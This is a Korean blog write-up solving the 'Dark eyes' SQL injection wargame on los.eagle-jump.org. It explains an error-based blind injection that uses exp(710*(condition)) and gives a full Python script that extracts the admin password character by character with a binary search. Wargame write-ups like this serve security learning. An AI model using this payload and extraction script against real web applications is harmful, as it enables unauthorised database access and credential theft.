Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Archives
Today
Total
관리 메뉴

White Security

Dark eyes 문제풀이 본문

Wargame Writeups/los.eagle-jump.org

Dark eyes 문제풀이

POSIX 2019. 1. 31. 21:33


los.eagle-jump.org 22번 문제입니다.



이번 문제는 21번의 진화버전입니다.

쿼리 수행결과, 오류 메시지도 물론이고

if case when .. 등등

조건분기에 필요한 문구들을 거의 필터링 해두었기에

조건식을 사용하지 않고

에러를 유발시킬 수 있어야 하죠.


pw='+or+exp(710*(< condition >))--+-



다른 방법도 있을 수 있겠지만

저는 EXP 함수를 이용하여 문제를 해결했습니다.


EXP 함수는 인자값이 710을 넘어가면

처리 가능한 범위를 넘겨 오류를 발생하는데요.


따라서 < condition > 내의 조건문이 참이면

오류가 발생하여 빈 페이지를 표시하고

거짓이면 정상 페이지를 확인할 수 있습니다.


from urllib import request, parse, error import math, sys def check_true(response): return ( len(response) == 0 ); def if_query(query): url = 'https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=' \ + parse.quote("'or id='admin' and exp(710*(" + query + "))#") req = request.Request(url) req.add_header('Cookie', 'PHPSESSID=bffoqib7ifvor1u7qv0q2vfjh0') req.add_header('user-agent', 'Mozilla/5.0') response = None while response is None: try: response = request.urlopen(req).read() except error.URLError: pass # print(parse.unquote(url), len(response)) return check_true(response) def check_greater_than(query, val): return if_query(query + '>=' + str(val)) def find_char(query): first = 0 last = 256 while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return chr(first) def get_length(query): first = 0 last = 65 query = 'length(' + query + ')' while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return first def get_content(name): name = '(' + name + ')' content_len = get_length(name); content = '' if content_len == 0: sys.stdout.write('Invalid request\n') return '' for idx in range(1, content_len + 1): content += find_char('ord(substr(' + name + ', ' + str(idx) + ', 1))') sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content))) sys.stdout.write('\n') return content content = get_content('pw')



'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글

Iron golem 문제풀이  (0) 2019.01.31
Dragon 문제풀이  (0) 2019.01.31
Xavis 문제풀이  (0) 2019.01.31
Nightmare 문제풀이  (0) 2019.01.31
Succubus 문제풀이  (0) 2019.01.31
Comments